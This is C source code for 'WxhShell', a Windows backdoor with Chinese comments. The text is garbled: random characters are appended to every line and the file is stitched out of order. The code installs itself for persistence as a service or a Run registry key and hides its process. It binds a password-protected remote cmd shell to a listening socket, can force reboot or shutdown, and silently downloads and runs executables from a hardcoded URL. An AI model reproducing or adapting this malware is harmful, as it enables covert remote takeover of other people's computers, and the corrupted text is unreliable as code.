    if(Boot(SHUTDOWN)) z XI [f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s!lLdR[g  
    else { ;8| D4+  
    closesocket(wsh); k!&G ;6O-  
    ExitThread(0); S_Tv Ix/7&  
    } 2&e2/KEWR  
    break;  <>|&%gmz  
    } ( M > C  
  // 获取shell +%O_xqq  
  case 's': { a\K__NCrX  
    CmdShell(wsh); i8h(b2odQ  
    closesocket(wsh); :Dh\  
    ExitThread(0); 0Q>yv;M  
    break; :,<G6"i  
  } 6%j v|\>  
  // 退出 qI]PM9  
  case 'x': { DH@]d0N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O^Y}fo'  
    CloseIt(wsh); =up!lg^M  
    break; \d"uR@$3mG  
    } T[ ~8u9/  
  // 离开 A#b`{C~l  
  case 'q': { }\iH~T6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !=)R+g6b  
    closesocket(wsh); $uPM.mPFE  
    WSACleanup(); g':/hlQ  
    exit(1); (f-Mm0%[  
    break; d`XC._%^J  
        } CMcS4X9/}  
  } 34D7qR  
  } [!g$|   
v+), uj  
  // 提示信息 6w?l I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +qWrm |O]  
} tom1u>1n  
  } P' ";L6h  
@]{+9m8G@  
  return; `Kt]i5[ "  
} T>~D(4r|pS  
|9fvj6?Y  
// shell模块句柄 ?(t{VdZSzQ  
int CmdShell(SOCKET sock) _mEW]9Sp  
{ he vM'"|4  
STARTUPINFO si; hJ)\Vo  
ZeroMemory(&si,sizeof(si)); 7EfLd+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =6sA49~M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _,"?R]MO  
PROCESS_INFORMATION ProcessInfo; 7Gos-_s  
char cmdline[]="cmd"; >V01%fLd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I^u$H&  
  return 0; !,SGKLs.m  
} Q; V*M  
p{V_}:|=Q  
// 自身启动模式 L~Hl?bK  
int StartFromService(void) `wMHjcUP  
{ MrW*6jY@  
typedef struct <FkoWN  
{ @nh* H{  
  DWORD ExitStatus; OBCH%\;g  
  DWORD PebBaseAddress; <P%<EgOE  
  DWORD AffinityMask; FX->_}kL=  
  DWORD BasePriority; 2!w5eWl,  
  ULONG UniqueProcessId;  9Kpzj43  
  ULONG InheritedFromUniqueProcessId; F0D7+-9[  
}   PROCESS_BASIC_INFORMATION; 0\y{/P?I$  
RaT_5PH~g  
PROCNTQSIP NtQueryInformationProcess; hja;d1yH  
y^iju(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LH@xr\^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z$X[x7e.  
'Nqa=_<WW  
  HANDLE             hProcess; E7CeE6U  
  PROCESS_BASIC_INFORMATION pbi; I6.!0.G  
(V06cb*42[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I7S#vIMXR.  
  if(NULL == hInst ) return 0; .5tE, (<?  
Uo~-^w}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q n6ws  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L@&(>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %k"qpu  
3IlflXb  
  if (!NtQueryInformationProcess) return 0; rw|;?a0  
=JR6-A1>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5PRS|R7  
  if(!hProcess) return 0; >RTmfV  
7GFE5>H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DHnO ,"  
hoDE*>i  
  CloseHandle(hProcess); +H4H$H  
NDqvt$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C4].egVg  
if(hProcess==NULL) return 0; 2!Gb4V  
O^2@9 w  
HMODULE hMod; hoOT]Bsn  
char procName[255]; W5f|#{&L:  
unsigned long cbNeeded; ~vGX(8N  
T'K6Q cu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $;V?xZm[  
6^Q/D7U;s  
  CloseHandle(hProcess); rgK:ujzW!  
`"-ln'nw  
if(strstr(procName,"services")) return 1; // 以服务启动 \ y^Ho1Fj  
p$:ERI  
  return 0; // 注册表启动 SKUri  
} Il8,g+W]  
MT3TWWtZ:  
// 主模块 Mx]![O.ye  
int StartWxhshell(LPSTR lpCmdLine) HtN!Hgpwg  
{ -aV!ZODt  
  SOCKET wsl; A><q-`bw  
BOOL val=TRUE; l$\OSG  
  int port=0; P{gGvC,  
  struct sockaddr_in door; Pw :{  
g,YJh(|#{  
  if(wscfg.ws_autoins) Install(); T`7HQf ;  
eF06B'uL  
port=atoi(lpCmdLine); 70MSP;^  
?6#F9\  
if(port<=0) port=wscfg.ws_port; rYP72<   
;UnJrP-if  
  WSADATA data; j} .,|7X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }}Kj b  
ElK7jWJ+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~x #RIt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YTk"'q-  
  door.sin_family = AF_INET; W[R^5{k`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [d3i _^\  
  door.sin_port = htons(port); Z+%w|Sx  
dln1JZ!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h8)m2KrZ!.  
closesocket(wsl); ;dR4a@  
return 1; ALO0yc  
} })#SjFq<V  
iL6Yk @  
  if(listen(wsl,2) == INVALID_SOCKET) { y+"6Y14  
closesocket(wsl); *i)3q+%.  
return 1; Af`qe+0E  
} M#CYDEB  
  Wxhshell(wsl); c2o.H!>  
  WSACleanup(); -yJ%G1R  
%p(!7FDE2n  
return 0; ~M !9E])  
Y;uQq-CP  
} N6%wHNYZ  
Mnx')([;W  
// 以NT服务方式启动 S!r,p};  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p3q >a<  
{ .IkQo`_s:  
DWORD   status = 0; i*\\j1mf  
  DWORD   specificError = 0xfffffff; d7 W[.M$]  
@,i_Gw)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U%?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A{IJ](5.kd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R?E< }\!  
  serviceStatus.dwWin32ExitCode     = 0; #JD:i%  
  serviceStatus.dwServiceSpecificExitCode = 0; Q/2(qD; u  
  serviceStatus.dwCheckPoint       = 0; 5nA *'($j  
  serviceStatus.dwWaitHint       = 0; *)| EWT?,  
IBn+4 2V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oWP3Y.  
  if (hServiceStatusHandle==0) return; ~B704i  
<{Pr(U*7}  
status = GetLastError(); JsA.j qkB  
  if (status!=NO_ERROR) [zw0'-h.  
{ dR|*VT\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d>wpG^"w  
    serviceStatus.dwCheckPoint       = 0; u6 lcl}'  
    serviceStatus.dwWaitHint       = 0; 1<(('H  
    serviceStatus.dwWin32ExitCode     = status; gT&s &0_7  
    serviceStatus.dwServiceSpecificExitCode = specificError; a^5.gfzA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p G-9H3[f#  
    return; /T\'&s3D+  
  } J4l \  
M}Obvl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eJ"je@vvrK  
  serviceStatus.dwCheckPoint       = 0; f[s|<U^  
  serviceStatus.dwWaitHint       = 0; X?gH(mn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @GyxOc@6  
} ~^<1k-  
I8%Uyap{  
// 处理NT服务事件,比如:启动、停止 !$Whftg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~e;2gm  
{ 7E]qP 5  
switch(fdwControl) \96aHOk<  
{ Py^fWQ5I~%  
case SERVICE_CONTROL_STOP: VsjE*AJpe  
  serviceStatus.dwWin32ExitCode = 0; bSvr8FY3d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >2BWie?T  
  serviceStatus.dwCheckPoint   = 0; "IuHSjP  
  serviceStatus.dwWaitHint     = 0; &WV&_z  
  { (M;jnQ0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zjq(]y  
  } SF. Is=b  
  return; d #vo)>  
case SERVICE_CONTROL_PAUSE: RqU^Q*/sF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?igA+(.  
  break; G}V5PEF]`  
case SERVICE_CONTROL_CONTINUE: ~bnyk%S o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VoG:3qN  
  break; 69iY)Ob/  
case SERVICE_CONTROL_INTERROGATE: 2qgm(jo *y  
  break; y{k65dk-  
}; C &~s<tcn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F~Sw-b kSf  
} # KgDOCQH  
3IyNnm=u  
// 标准应用程序主函数 $)v`roDD.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0=erf62=  
{ w'Vm'zo  
ggL^*MV  
// 获取操作系统版本 '?O_(%3F0  
OsIsNt=GetOsVer(); D3(rD]c0{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'wT !X[jF  
EFdo-.Ax  
  // 从命令行安装 CY</v,\:#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,~nrNkhp  
vhE^jS<Tg  
  // 下载执行文件 M$$Lsb [  
if(wscfg.ws_downexe) { (CR]96n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CwdeW.A"j  
  WinExec(wscfg.ws_filenam,SW_HIDE); h#~\-j9>  
} Qk[YF  
08MY=PC~R  
if(!OsIsNt) { U.A:'9K,  
// 如果时win9x,隐藏进程并且设置为注册表启动 d9Uv/VGp  
HideProc(); IY40d^x  
StartWxhshell(lpCmdLine); EC`=nGF  
} -PiakX  
else MG-#p8  
  if(StartFromService()) 8k_cC$*Ng  
  // 以服务方式启动 K'f`}y9  
  StartServiceCtrlDispatcher(DispatchTable); G<W;HMj2  
else m'PU0x  
  // 普通方式启动 ]y\Wc0 q  
  StartWxhshell(lpCmdLine); _L% =Q ulu  
YwU[kr-i  
return 0; +[B@83  
} (,I9|  
X0 ^~`g  
EN/r{Cm$B  
mhW*rH*m  
=========================================== }Hy4^2B  
/*1p|c^  
#t<  
r0/aw  
}'WEqNuE  
9,cMb)=0  
" xRbtiFk9H  
*&doI%q  
#include <stdio.h> rr^?9M*{V  
#include <string.h> _~.S~;o!b  
#include <windows.h> ]Ei*I}  
#include <winsock2.h> z2U^z*n{  
#include <winsvc.h> V{C{y5  
#include <urlmon.h> g@|2z  
xU;/LJ6  
#pragma comment (lib, "Ws2_32.lib") (Tv~$\=  
#pragma comment (lib, "urlmon.lib") :x3"Cj  
F10TvJ U  
#define MAX_USER   100 // 最大客户端连接数 [9d4 0>e  
#define BUF_SOCK   200 // sock buffer `Rx\wfr}  
#define KEY_BUFF   255 // 输入 buffer _V,bvHWlM  
\\P*w$c   
#define REBOOT     0   // 重启 cq"#[y$r  
#define SHUTDOWN   1   // 关机 C$4!|Wg3  
BFswqp:  
#define DEF_PORT   5000 // 监听端口 a\B'Qe+  
8 -YC#&  
#define REG_LEN     16   // 注册表键长度 !rTkH4!_  
#define SVC_LEN     80   // NT服务名长度 })umg8s  
Vb,'VN%   
// 从dll定义API x(7Q5Uk\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); td5! S]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q" G;L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cg3 d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y2aN<>f  
8}K4M(  
// wxhshell配置信息 LV@tt&|N  
struct WSCFG { x4XCR,-  
  int ws_port;         // 监听端口 jidRh}>a=  
  char ws_passstr[REG_LEN]; // 口令 ![&9\aH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^l{q{O7U$  
  char ws_regname[REG_LEN]; // 注册表键名 F% z$^ m-  
  char ws_svcname[REG_LEN]; // 服务名 _c>8y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4SJb\R)XK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V`m9+<.1b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }v6@yU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no   bKt4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I9L7,~s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~oz??SX  
3c+ps;nh  
}; Ejj+%)n.  
QxT\_Nej*n  
// default Wxhshell configuration LnPG+<  
struct WSCFG wscfg={DEF_PORT, 9`tSg!YOh  
    "xuhuanlingzhe", |#ZMZmo{  
    1, 'x<o{Hi"\B  
    "Wxhshell", (W |;gQ  
    "Wxhshell", b6! 7 j  
            "WxhShell Service", ^{a_:r"  
    "Wrsky Windows CmdShell Service", zs.@=Z"  
    "Please Input Your Password: ", d}<-G.&_  
  1, (bAw>  
  "http://www.wrsky.com/wxhshell.exe", d' l|oeS  
  "Wxhshell.exe" CU@}{}Yl  
    }; dWP<,Z>  
R$bDj >8  
// 消息定义模块 SBg|V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 20/P:;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <>H^:iqn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jI%glO'2  
char *msg_ws_ext="\n\rExit."; *iVE O  
char *msg_ws_end="\n\rQuit."; (_=R<:  
char *msg_ws_boot="\n\rReboot..."; {uurLEe?  
char *msg_ws_poff="\n\rShutdown..."; 3.6Gh|7  
char *msg_ws_down="\n\rSave to "; 1D1qOg"LE  
fZb}-  
char *msg_ws_err="\n\rErr!"; Gn^m541  
char *msg_ws_ok="\n\rOK!"; $"ACg!=M  
;tC$O~X  
char ExeFile[MAX_PATH]; JHa\"h  
int nUser = 0; :,V&P_  
HANDLE handles[MAX_USER]; Jwpc8MQ  
int OsIsNt; %+oqAY m+s  
Hu+GN3`sx^  
SERVICE_STATUS       serviceStatus; O9rA3qv B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sGx3O i   
VIg6'  
// 函数声明 <c$rfjM+JU  
int Install(void); iKu4s  
int Uninstall(void); #, h0K  
int DownloadFile(char *sURL, SOCKET wsh); W3jwc{lj  
int Boot(int flag); c7D{^$L9 v  
void HideProc(void); 1#9PE(!2  
int GetOsVer(void); q6}KOO)  
int Wxhshell(SOCKET wsl); "c+$GS  
void TalkWithClient(void *cs); }#S1!TU  
int CmdShell(SOCKET sock); iN_P25Z<r  
int StartFromService(void); /[!<rhY  
int StartWxhshell(LPSTR lpCmdLine); g(i8HU*{q  
$LVzhQlD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w?P ex]i{  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  uU=!e&3  
Ygc|9}  
// 数据结构和表定义 K>TEt5  
SERVICE_TABLE_ENTRY DispatchTable[] = S]NT+XM  
{ =#vJqA  
{wscfg.ws_svcname, NTServiceMain}, _9'hmej  
{NULL, NULL} 7^syu;DT9Y  
}; t N4-<6  
/ ;+Mz*  
// 自我安装 @w;$M]o1  
int Install(void) Oh%p1$H  
{ b! r%4Ah  
  char svExeFile[MAX_PATH]; qkqtPbQ 7  
  HKEY key; [Sj"gLj  
  strcpy(svExeFile,ExeFile); A4(k<<xjE  
w c  
// 如果是win9x系统,修改注册表设为自启动 Eihy|p  
if(!OsIsNt) { "]|7%]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7A h   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LTB rg[X  
  RegCloseKey(key); Bg}l$?S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &G?"I%Vw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n6G&c4g<"  
  RegCloseKey(key); 2@IL  n+#  
  return 0; %cBOi_}}~  
    } 8Ltl32JSB[  
  } Yr>0Qg],  
} b1;h6AeL  
else { hM[3l1o{|  
*qu5o5Q  
// 如果是NT以上系统,安装为系统服务 eL.WP`Lz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4o"?QV:  
if (schSCManager!=0) E#,\[<pc  
{ U8-OQ:2.  
  SC_HANDLE schService = CreateService HD& Cp  
  ( T 2_iH=u  
  schSCManager, Z}{]/=h  
  wscfg.ws_svcname, Xpp v  
  wscfg.ws_svcdisp, Uf MQ?(,  
  SERVICE_ALL_ACCESS, CM%;/[WBxy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?J-\}X  
  SERVICE_AUTO_START, yL),G*[p\}  
  SERVICE_ERROR_NORMAL, QN|=/c<U  
  svExeFile, mX!*|$bs  
  NULL, sWB@'P:x  
  NULL, ([^#.x)hz  
  NULL, :@a0h  
  NULL, [!MS1v c;  
  NULL 9dm<(I}  
  ); ={f8s,m)P,  
  if (schService!=0) n_:EWm$\  
  { pe<T" [X  
  CloseServiceHandle(schService); @4MQ021(  
  CloseServiceHandle(schSCManager); oo BBg@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S^ D7}  
  strcat(svExeFile,wscfg.ws_svcname); b- bvkPN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j dz IU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X8ZO } X  
  RegCloseKey(key); 'IT]VRObP  
  return 0; ~ch%mI~  
    } ,fqM>Q  
  } L62%s[  
  CloseServiceHandle(schSCManager); }"SqB{5e(  
} wX_~H*m?  
} >2= Y 35j  
e ;^}@X  
return 1; GgnR*DVP$  
} C|2|OTtQ  
~mwIr  
// 自我卸载 QPh3(K1w^  
int Uninstall(void) UvM4-M%2JN  
{ C/H;|3.X  
  HKEY key; bwcr/J( Nb  
Fn iht<  
if(!OsIsNt) { fms(_Q:R?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cA|vH^:  
  RegDeleteValue(key,wscfg.ws_regname); L[A?W  
  RegCloseKey(key); sH_, P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %K.rrn M  
  RegDeleteValue(key,wscfg.ws_regname); 0w0{@\9  
  RegCloseKey(key); TI t\  
  return 0; H5&._  
  } t K/.9qP  
} KV$4}{  
} 0xO*8aKT  
else { 6/?onEL9_  
,hT.Ok={36  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gujP{Z  
if (schSCManager!=0) eO(U):C2  
{ T:zM]%Xh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^6R(K'E}  
  if (schService!=0) { PJ>gX$  
  { q mv0LU  
  if(DeleteService(schService)!=0) { GBWL0'COV  
  CloseServiceHandle(schService); H0sTL#/L\  
  CloseServiceHandle(schSCManager); QxGcRlpLK  
  return 0; %[s%H)e)  
  } ?FjnG_Uz`D  
  CloseServiceHandle(schService); Wz"H.hf  
  } PgGUs4[  
  CloseServiceHandle(schSCManager); -zn_d]NV  
} 5V\",PA W  
} JAP(J~  
3fB]uq+eD%  
return 1; CaO-aL  
} P9f`<o  
2<y9xvp  
// 从指定url下载文件 |#M|"7;2z  
int DownloadFile(char *sURL, SOCKET wsh) a'/i/@h  
{ u%+k\/Scp.  
  HRESULT hr; hjM?D`5x  
char seps[]= "/"; +xU({/  
char *token; l"1D' Hk  
char *file; Ox&G  [  
char myURL[MAX_PATH]; FMI1[|:;  
char myFILE[MAX_PATH]; lw[c+F7  
FKu8R%9xn%  
strcpy(myURL,sURL); {jmy:e2  
  token=strtok(myURL,seps); 3l41"5Fy&  
  while(token!=NULL) GGr82)E  
  { 2 \}J*0  
    file=token; 6]d]0TW_  
  token=strtok(NULL,seps); qP<D9k>  
  } SY[3O  
LX oJw$C  
GetCurrentDirectory(MAX_PATH,myFILE); x.wDA3ys  
strcat(myFILE, "\\"); `>`b;A4  
strcat(myFILE, file); |:JT+a1  
  send(wsh,myFILE,strlen(myFILE),0); Xa.8-a"hz  
send(wsh,"...",3,0); {, +c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^.\O)K {h  
  if(hr==S_OK) M}#DX=NZc  
return 0; H?8'(  
else (.V),NKG  
return 1; {?IbbT  
9A} *  
} #Xox2{~  
rzn,N FI  
// 系统电源模块 \yFUQq:  
int Boot(int flag) Q=fl!>P  
{ <Nqbp  
  HANDLE hToken; 5TB6QLPEwY  
  TOKEN_PRIVILEGES tkp; 0kOwA%m  
ow{.iv\,u  
  if(OsIsNt) { Z%:>nDZV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S6JXi>n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &0q pgl|  
    tkp.PrivilegeCount = 1; )Hmf=eoc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vno/V#e$WX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  e]1Zey  
if(flag==REBOOT) { ^N|8 B?Vg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /OzoeI t  
  return 0; =3w;<1 ?'  
} 9 %4:eTcp  
else { LlO8]b!P-^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @x+2b0 b  
  return 0; j;Z?q%M{6  
} ;-kDJ i  
  } BR@m*JGajz  
  else { URrx7F98  
if(flag==REBOOT) { qx[c0X!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ektU,Oo  
  return 0; )3:0TFS}}k  
} >>$`]]7  
else { 3dj|jw5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v /c]=/  
  return 0; 3U+FXK#6  
} 9yC22C:  
} tOLcnWt   
~vt9?(h  
return 1; :vG0 l\  
} A8Q^y AP^  
FZj>N(  
// win9x进程隐藏模块 7\,9Gcv1  
void HideProc(void) [%N?D#;  
{ &t AYF_}  
-R:_o1"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cS9jGD92  
  if ( hKernel != NULL ) 0O>ClE~P  
  { ~;#}aQYo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mA+:)?e5~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ()l3X.t,$  
    FreeLibrary(hKernel); ~BmA!BZV`  
  } ji1vLu4|t  
yW= +6@A4  
return; C$1W+(  
} ]>VG}e~b  
A+0-pF2D  
// 获取操作系统版本 r.\L@Y<  
int GetOsVer(void) K8&;B)VT>  
{ % (y{Sca  
  OSVERSIONINFO winfo; #6< 1 =I'j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OpEH4X.Z  
  GetVersionEx(&winfo); F. SB_S<'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }ARA K^%  
  return 1; K8_v5  
  else HT.*r6Y>g  
  return 0; yQ N{)rv  
} 7}UG&t{  
6_bL<:xtY  
// 客户端句柄模块 =zcvR {Dkp  
int Wxhshell(SOCKET wsl) CC`_e^~y=F  
{ R; c9)>8L  
  SOCKET wsh; kygw}|, N  
  struct sockaddr_in client; g=56|G7n  
  DWORD myID; 96(Mu% l  
6^ [ 4.D  
  while(nUser<MAX_USER) |2u=3#Jp  
{ ZhA_d#qH  
  int nSize=sizeof(client); sjg`4^!wDD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | :-i[G?n  
  if(wsh==INVALID_SOCKET) return 1; F`QViZ'n>#  
nOGTeKjEJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !{t|z=Qg  
if(handles[nUser]==0) #;j:;LRU  
  closesocket(wsh); WI/tWj0  
else Ec@n<KK#  
  nUser++; o'!=x$Ky  
  } P.,U>m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6p)AQTh>  
Q,&Li+u|  
  return 0; 5dj@N3ZX7;  
} -{xk&EB^$5  
Nhjq.&  
// 关闭 socket bItcF$#!!!  
void CloseIt(SOCKET wsh) VWvSt C  
{ >Q\Kc=Q|  
closesocket(wsh); {7OHEArv  
nUser--; c0gVW~I1  
ExitThread(0); n|~y >w4  
} :-46"bP.  
67II9\/  
// 客户端请求句柄 + O.-o/  
void TalkWithClient(void *cs) 2M-[x"\1/  
{ ]]O( IC  
l?U=s7s0?  
  SOCKET wsh=(SOCKET)cs; +nDy b  
  char pwd[SVC_LEN]; [8i)/5D4  
  char cmd[KEY_BUFF]; V*uE83x 1  
char chr[1]; |1~n<=`Z  
int i,j; 'p&,'+x  
#hZ$ ;1.  
  while (nUser < MAX_USER) { 6:7[>|okQ  
6QX m] <  
if(wscfg.ws_passstr) { `OBzOM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kt/,& oKI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s{Z)<n03  
  //ZeroMemory(pwd,KEY_BUFF); MY^{[ #Q  
      i=0; F~mIV;BP  
  while(i<SVC_LEN) { J,2V&WuV0r  
D0r viO  
  // 设置超时 147QB+cE  
  fd_set FdRead; R-13DVK  
  struct timeval TimeOut; f<Hi=Qpm  
  FD_ZERO(&FdRead); ^a4z*#IOr  
  FD_SET(wsh,&FdRead); x;n3 Zr;(  
  TimeOut.tv_sec=8; F)LbH& Kn  
  TimeOut.tv_usec=0; 5`QcPDp{z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dI{DiPho  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~|V^IJZ22  
faDSyBLo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L (Y1ey9x  
  pwd=chr[0]; 2s\ClT  
  if(chr[0]==0xd || chr[0]==0xa) { f2i:I1 p("  
  pwd=0; 08`|C)Z!  
  break; #Vq9 =Q2  
  } 9r!8BjA  
  i++; %=`JWLLG  
    } kJWg},-\  
Hc)z:x;Sj  
  // 如果是非法用户,关闭 socket {{?g%mQ6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xu]~vik  
} 2?JV "O=  
.A2$C|a*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =&WIa#!=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'a ['lF  
8D='N`cN+  
while(1) { Jj"{C]  
{>f"&I<xw  
  ZeroMemory(cmd,KEY_BUFF); 1@F-t94I  
ZEP?~zV\A  
      // 自动支持客户端 telnet标准   HL38iXQ( 3  
  j=0; h: ' |)O  
  while(j<KEY_BUFF) { #Iw(+%D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ Habhw  
  cmd[j]=chr[0]; lB,1dw2(T  
  if(chr[0]==0xa || chr[0]==0xd) { w&p+mJL.  
  cmd[j]=0; 3 jZMXEG)  
  break; 4b8G 1fm  
  } 9L=mS  
  j++; ~]?:v,UIm(  
    }  Aqy w  
1)ue-(o5  
  // 下载文件 v ,8;: sD  
  if(strstr(cmd,"http://")) { <RGH+4LF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sTM;l,  
  if(DownloadFile(cmd,wsh)) T6U/}&{O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S /hx\TzC  
  else ;M:AcQZ|_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IiU> VLa  
  } 36 "n7  
  else { cb}"giXQTB  
(Xd8'-G$m  
